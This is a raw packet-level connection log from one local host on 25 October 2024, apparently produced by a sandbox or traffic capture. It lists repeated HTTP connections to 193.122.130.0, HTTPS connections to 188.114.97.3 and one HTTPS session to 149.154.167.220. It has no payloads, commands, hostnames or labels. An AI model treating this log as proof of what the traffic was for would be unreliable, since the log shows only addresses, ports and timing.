Oct 25, 2024 09:18:07.215687990 CEST	49741	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:07.216144085 CEST	49741	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:07.216156006 CEST	443	49741	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:07.301635027 CEST	49742	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:07.308387041 CEST	80	49742	193.122.130.0	192.168.2.4
Oct 25, 2024 09:18:07.308502913 CEST	49742	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:07.308840990 CEST	49742	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:07.314671993 CEST	80	49742	193.122.130.0	192.168.2.4
Oct 25, 2024 09:18:07.389272928 CEST	49740	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:07.833147049 CEST	443	49741	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:07.835344076 CEST	49741	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:07.835426092 CEST	443	49741	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:07.969799042 CEST	80	49742	193.122.130.0	192.168.2.4
Oct 25, 2024 09:18:07.973526955 CEST	443	49741	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:07.973839998 CEST	443	49741	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:07.973923922 CEST	49741	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:07.974271059 CEST	49741	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:07.974605083 CEST	49742	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:07.978060007 CEST	49740	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:07.979105949 CEST	49743	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:07.980001926 CEST	80	49742	193.122.130.0	192.168.2.4
Oct 25, 2024 09:18:07.984163046 CEST	80	49740	193.122.130.0	192.168.2.4
Oct 25, 2024 09:18:07.984366894 CEST	49740	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:07.984680891 CEST	80	49743	193.122.130.0	192.168.2.4
Oct 25, 2024 09:18:07.984755039 CEST	49743	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:07.984869957 CEST	49743	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:07.990391970 CEST	80	49743	193.122.130.0	192.168.2.4
Oct 25, 2024 09:18:08.132110119 CEST	80	49742	193.122.130.0	192.168.2.4
Oct 25, 2024 09:18:08.179733992 CEST	49744	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:08.179831028 CEST	443	49744	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:08.179939032 CEST	49744	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:08.184767008 CEST	49744	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:08.184806108 CEST	443	49744	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:08.186206102 CEST	49742	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:08.649631977 CEST	80	49743	193.122.130.0	192.168.2.4
Oct 25, 2024 09:18:08.651253939 CEST	49745	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:08.651310921 CEST	443	49745	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:08.651499987 CEST	49745	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:08.652051926 CEST	49745	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:08.652069092 CEST	443	49745	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:08.779937029 CEST	49743	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:09.034157038 CEST	443	49744	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:09.034286976 CEST	49744	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:09.158159018 CEST	49744	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:09.158263922 CEST	443	49744	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:09.159482002 CEST	443	49744	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:09.266041040 CEST	443	49745	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:09.268408060 CEST	49745	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:09.268446922 CEST	443	49745	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:09.278358936 CEST	49744	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:09.405666113 CEST	443	49745	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:09.405925035 CEST	443	49745	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:09.405997038 CEST	49745	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:09.406366110 CEST	49745	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:09.411640882 CEST	49746	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:09.417081118 CEST	80	49746	193.122.130.0	192.168.2.4
Oct 25, 2024 09:18:09.417292118 CEST	49746	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:09.417397976 CEST	49746	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:09.422869921 CEST	80	49746	193.122.130.0	192.168.2.4
Oct 25, 2024 09:18:09.438230991 CEST	49744	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:09.479341984 CEST	443	49744	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:09.577152014 CEST	443	49744	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:09.577241898 CEST	443	49744	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:09.577307940 CEST	49744	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:09.581196070 CEST	49744	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:09.587796926 CEST	49742	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:09.593327045 CEST	80	49742	193.122.130.0	192.168.2.4
Oct 25, 2024 09:18:09.761153936 CEST	80	49742	193.122.130.0	192.168.2.4
Oct 25, 2024 09:18:09.763168097 CEST	49747	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:09.763221025 CEST	443	49747	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:09.763433933 CEST	49747	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:09.763817072 CEST	49747	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:09.763838053 CEST	443	49747	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:09.889319897 CEST	49742	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:10.125269890 CEST	80	49742	193.122.130.0	192.168.2.4
Oct 25, 2024 09:18:10.125349045 CEST	49742	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:10.125893116 CEST	80	49746	193.122.130.0	192.168.2.4
Oct 25, 2024 09:18:10.127906084 CEST	49748	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:10.127947092 CEST	443	49748	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:10.128016949 CEST	49748	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:10.128557920 CEST	49748	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:10.128575087 CEST	443	49748	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:10.186449051 CEST	49746	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:10.371855021 CEST	443	49747	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:10.374244928 CEST	49747	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:10.374284983 CEST	443	49747	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:10.513518095 CEST	443	49747	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:10.513618946 CEST	443	49747	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:10.513767004 CEST	49747	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:10.514668941 CEST	49747	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:10.518594980 CEST	49742	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:10.520155907 CEST	49749	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:10.526607990 CEST	80	49742	193.122.130.0	192.168.2.4
Oct 25, 2024 09:18:10.526664972 CEST	49742	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:10.527426004 CEST	80	49749	193.122.130.0	192.168.2.4
Oct 25, 2024 09:18:10.527504921 CEST	49749	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:10.527626038 CEST	49749	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:10.533080101 CEST	80	49749	193.122.130.0	192.168.2.4
Oct 25, 2024 09:18:10.754007101 CEST	443	49748	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:10.756170034 CEST	49748	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:10.756217957 CEST	443	49748	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:10.896622896 CEST	443	49748	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:10.896848917 CEST	443	49748	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:10.897027969 CEST	49748	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:10.897543907 CEST	49748	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:10.901698112 CEST	49746	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:10.902925968 CEST	49750	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:10.907561064 CEST	80	49746	193.122.130.0	192.168.2.4
Oct 25, 2024 09:18:10.907723904 CEST	49746	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:10.908224106 CEST	80	49750	193.122.130.0	192.168.2.4
Oct 25, 2024 09:18:10.908317089 CEST	49750	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:10.908457041 CEST	49750	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:10.913872004 CEST	80	49750	193.122.130.0	192.168.2.4
Oct 25, 2024 09:18:11.211352110 CEST	80	49749	193.122.130.0	192.168.2.4
Oct 25, 2024 09:18:11.213052034 CEST	49751	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:11.213129997 CEST	443	49751	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:11.213210106 CEST	49751	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:11.213512897 CEST	49751	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:11.213531017 CEST	443	49751	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:11.264266968 CEST	49749	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:11.696222067 CEST	80	49750	193.122.130.0	192.168.2.4
Oct 25, 2024 09:18:11.713490009 CEST	49752	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:11.713540077 CEST	443	49752	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:11.713635921 CEST	49752	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:11.722547054 CEST	49752	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:11.722563028 CEST	443	49752	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:11.748816013 CEST	49750	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:11.832118988 CEST	443	49751	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:11.856000900 CEST	49751	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:11.856065035 CEST	443	49751	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:11.993748903 CEST	443	49751	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:11.993849039 CEST	443	49751	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:11.994008064 CEST	49751	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:11.994729042 CEST	49751	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:11.999795914 CEST	49753	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:12.005369902 CEST	80	49753	193.122.130.0	192.168.2.4
Oct 25, 2024 09:18:12.005498886 CEST	49753	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:12.005686998 CEST	49753	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:12.011197090 CEST	80	49753	193.122.130.0	192.168.2.4
Oct 25, 2024 09:18:12.339420080 CEST	443	49752	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:12.341459036 CEST	49752	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:12.341476917 CEST	443	49752	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:12.481333971 CEST	443	49752	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:12.481451035 CEST	443	49752	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:12.481563091 CEST	49752	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:12.483849049 CEST	49752	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:12.504054070 CEST	49750	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:12.505954027 CEST	49754	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:12.509978056 CEST	80	49750	193.122.130.0	192.168.2.4
Oct 25, 2024 09:18:12.510054111 CEST	49750	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:12.511404991 CEST	80	49754	193.122.130.0	192.168.2.4
Oct 25, 2024 09:18:12.511523008 CEST	49754	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:12.511708975 CEST	49754	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:12.519828081 CEST	80	49754	193.122.130.0	192.168.2.4
Oct 25, 2024 09:18:13.136481047 CEST	80	49753	193.122.130.0	192.168.2.4
Oct 25, 2024 09:18:13.138569117 CEST	49755	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:13.138622999 CEST	443	49755	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:13.138772964 CEST	49755	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:13.139096975 CEST	49755	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:13.139113903 CEST	443	49755	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:13.186389923 CEST	49753	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:13.886181116 CEST	80	49754	193.122.130.0	192.168.2.4
Oct 25, 2024 09:18:13.888165951 CEST	443	49755	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:13.888520002 CEST	49756	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:13.888583899 CEST	443	49756	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:13.888735056 CEST	49756	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:13.889211893 CEST	49756	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:13.889230013 CEST	443	49756	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:13.890403986 CEST	49755	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:13.890438080 CEST	443	49755	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:13.936168909 CEST	49754	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:14.031276941 CEST	443	49755	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:14.031368017 CEST	443	49755	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:14.031424999 CEST	49755	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:14.032077074 CEST	49755	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:14.036794901 CEST	49753	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:14.038033009 CEST	49757	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:14.042469025 CEST	80	49753	193.122.130.0	192.168.2.4
Oct 25, 2024 09:18:14.042526007 CEST	49753	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:14.043390989 CEST	80	49757	193.122.130.0	192.168.2.4
Oct 25, 2024 09:18:14.043488026 CEST	49757	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:14.043553114 CEST	49757	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:14.049160004 CEST	80	49757	193.122.130.0	192.168.2.4
Oct 25, 2024 09:18:14.510190964 CEST	443	49756	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:14.512540102 CEST	49756	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:14.512567997 CEST	443	49756	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:14.655163050 CEST	443	49756	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:14.655409098 CEST	443	49756	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:14.655483007 CEST	49756	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:14.656070948 CEST	49756	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:14.661170006 CEST	49754	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:14.662547112 CEST	49758	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:14.666908026 CEST	80	49754	193.122.130.0	192.168.2.4
Oct 25, 2024 09:18:14.666975021 CEST	49754	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:14.668035030 CEST	80	49758	193.122.130.0	192.168.2.4
Oct 25, 2024 09:18:14.668122053 CEST	49758	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:14.668287039 CEST	49758	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:14.673554897 CEST	80	49758	193.122.130.0	192.168.2.4
Oct 25, 2024 09:18:15.272080898 CEST	80	49757	193.122.130.0	192.168.2.4
Oct 25, 2024 09:18:15.273675919 CEST	49759	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:15.273715019 CEST	443	49759	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:15.273796082 CEST	49759	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:15.274236917 CEST	49759	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:15.274254084 CEST	443	49759	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:15.326807022 CEST	49757	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:15.895344973 CEST	443	49759	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:15.897291899 CEST	49759	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:15.897325993 CEST	443	49759	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:15.923504114 CEST	80	49758	193.122.130.0	192.168.2.4
Oct 25, 2024 09:18:15.925338030 CEST	49761	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:15.925396919 CEST	443	49761	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:15.925587893 CEST	49761	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:15.925951958 CEST	49761	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:15.925971031 CEST	443	49761	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:15.967428923 CEST	49758	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:16.040745020 CEST	443	49759	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:16.040860891 CEST	443	49759	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:16.041002035 CEST	49759	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:16.041501999 CEST	49759	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:16.045756102 CEST	49757	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:16.046945095 CEST	49762	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:16.051563025 CEST	80	49757	193.122.130.0	192.168.2.4
Oct 25, 2024 09:18:16.051748037 CEST	49757	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:16.052294970 CEST	80	49762	193.122.130.0	192.168.2.4
Oct 25, 2024 09:18:16.052366972 CEST	49762	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:16.052448034 CEST	49762	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:16.057847023 CEST	80	49762	193.122.130.0	192.168.2.4
Oct 25, 2024 09:18:16.567929983 CEST	443	49761	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:16.569463968 CEST	49761	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:16.569509983 CEST	443	49761	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:16.714617014 CEST	80	49762	193.122.130.0	192.168.2.4
Oct 25, 2024 09:18:16.714864016 CEST	443	49761	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:16.714994907 CEST	443	49761	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:16.715132952 CEST	49761	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:16.715744972 CEST	49761	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:16.716196060 CEST	49764	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:16.716300011 CEST	443	49764	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:16.717638016 CEST	49764	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:16.718003988 CEST	49764	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:16.718041897 CEST	443	49764	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:16.719335079 CEST	49758	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:16.720510006 CEST	49765	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:16.724881887 CEST	80	49758	193.122.130.0	192.168.2.4
Oct 25, 2024 09:18:16.724960089 CEST	49758	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:16.725888968 CEST	80	49765	193.122.130.0	192.168.2.4
Oct 25, 2024 09:18:16.725970030 CEST	49765	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:16.726078033 CEST	49765	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:16.731455088 CEST	80	49765	193.122.130.0	192.168.2.4
Oct 25, 2024 09:18:16.764295101 CEST	49762	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:17.328624010 CEST	443	49764	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:17.331309080 CEST	49764	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:17.331365108 CEST	443	49764	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:17.449722052 CEST	80	49765	193.122.130.0	192.168.2.4
Oct 25, 2024 09:18:17.451167107 CEST	49767	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:17.451212883 CEST	443	49767	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:17.451539040 CEST	49767	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:17.451915979 CEST	49767	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:17.451931953 CEST	443	49767	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:17.469527960 CEST	443	49764	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:17.469810009 CEST	443	49764	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:17.469885111 CEST	49764	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:17.470319986 CEST	49764	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:17.474756002 CEST	49762	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:17.475948095 CEST	49769	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:17.480422020 CEST	80	49762	193.122.130.0	192.168.2.4
Oct 25, 2024 09:18:17.480498075 CEST	49762	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:17.481295109 CEST	80	49769	193.122.130.0	192.168.2.4
Oct 25, 2024 09:18:17.481884003 CEST	49769	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:17.481931925 CEST	49769	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:17.487421036 CEST	80	49769	193.122.130.0	192.168.2.4
Oct 25, 2024 09:18:17.498675108 CEST	49765	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:18.067291975 CEST	443	49767	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:18.076051950 CEST	49767	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:18.076093912 CEST	443	49767	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:18.216337919 CEST	443	49767	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:18.216447115 CEST	443	49767	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:18.216547012 CEST	49767	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:18.217067957 CEST	49767	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:18.293267012 CEST	49765	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:18.299062014 CEST	80	49765	193.122.130.0	192.168.2.4
Oct 25, 2024 09:18:18.299160004 CEST	49765	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:18.301734924 CEST	49770	443	192.168.2.4	149.154.167.220
Oct 25, 2024 09:18:18.301781893 CEST	443	49770	149.154.167.220	192.168.2.4
Oct 25, 2024 09:18:18.301979065 CEST	49770	443	192.168.2.4	149.154.167.220
Oct 25, 2024 09:18:18.302445889 CEST	49770	443	192.168.2.4	149.154.167.220
Oct 25, 2024 09:18:18.302462101 CEST	443	49770	149.154.167.220	192.168.2.4
Oct 25, 2024 09:18:18.420723915 CEST	80	49769	193.122.130.0	192.168.2.4
Oct 25, 2024 09:18:18.421885014 CEST	49771	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:18.421942949 CEST	443	49771	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:18.422019005 CEST	49771	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:18.422271967 CEST	49771	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:18.422286034 CEST	443	49771	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:18.467443943 CEST	49769	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:19.028848886 CEST	443	49771	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:19.039529085 CEST	49771	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:19.039560080 CEST	443	49771	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:19.155442953 CEST	443	49770	149.154.167.220	192.168.2.4
Oct 25, 2024 09:18:19.155560970 CEST	49770	443	192.168.2.4	149.154.167.220
Oct 25, 2024 09:18:19.159368038 CEST	49770	443	192.168.2.4	149.154.167.220
Oct 25, 2024 09:18:19.159375906 CEST	443	49770	149.154.167.220	192.168.2.4
Oct 25, 2024 09:18:19.159779072 CEST	443	49770	149.154.167.220	192.168.2.4
Oct 25, 2024 09:18:19.171037912 CEST	49770	443	192.168.2.4	149.154.167.220
Oct 25, 2024 09:18:19.178901911 CEST	443	49771	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:19.179131031 CEST	443	49771	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:19.179200888 CEST	49771	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:19.179507017 CEST	49771	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:19.182806969 CEST	49769	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:19.184010029 CEST	49773	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:19.188570976 CEST	80	49769	193.122.130.0	192.168.2.4
Oct 25, 2024 09:18:19.188631058 CEST	49769	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:19.189356089 CEST	80	49773	193.122.130.0	192.168.2.4
Oct 25, 2024 09:18:19.189424992 CEST	49773	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:19.189542055 CEST	49773	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:19.194838047 CEST	80	49773	193.122.130.0	192.168.2.4
Oct 25, 2024 09:18:19.215329885 CEST	443	49770	149.154.167.220	192.168.2.4
Oct 25, 2024 09:18:19.405200005 CEST	443	49770	149.154.167.220	192.168.2.4
Oct 25, 2024 09:18:19.405289888 CEST	443	49770	149.154.167.220	192.168.2.4
Oct 25, 2024 09:18:19.405441046 CEST	49770	443	192.168.2.4	149.154.167.220
Oct 25, 2024 09:18:19.434673071 CEST	49770	443	192.168.2.4	149.154.167.220
Oct 25, 2024 09:18:20.888344049 CEST	80	49773	193.122.130.0	192.168.2.4
Oct 25, 2024 09:18:20.915446043 CEST	49775	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:20.915487051 CEST	443	49775	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:20.915549994 CEST	49775	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:20.916049004 CEST	49775	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:20.916064024 CEST	443	49775	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:20.936280012 CEST	49773	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:21.536921024 CEST	443	49775	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:21.549566031 CEST	49775	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:21.549607992 CEST	443	49775	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:21.689636946 CEST	443	49775	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:21.689740896 CEST	443	49775	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:21.689857006 CEST	49775	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:21.690551043 CEST	49775	443	192.168.2.4	188.114.97.3
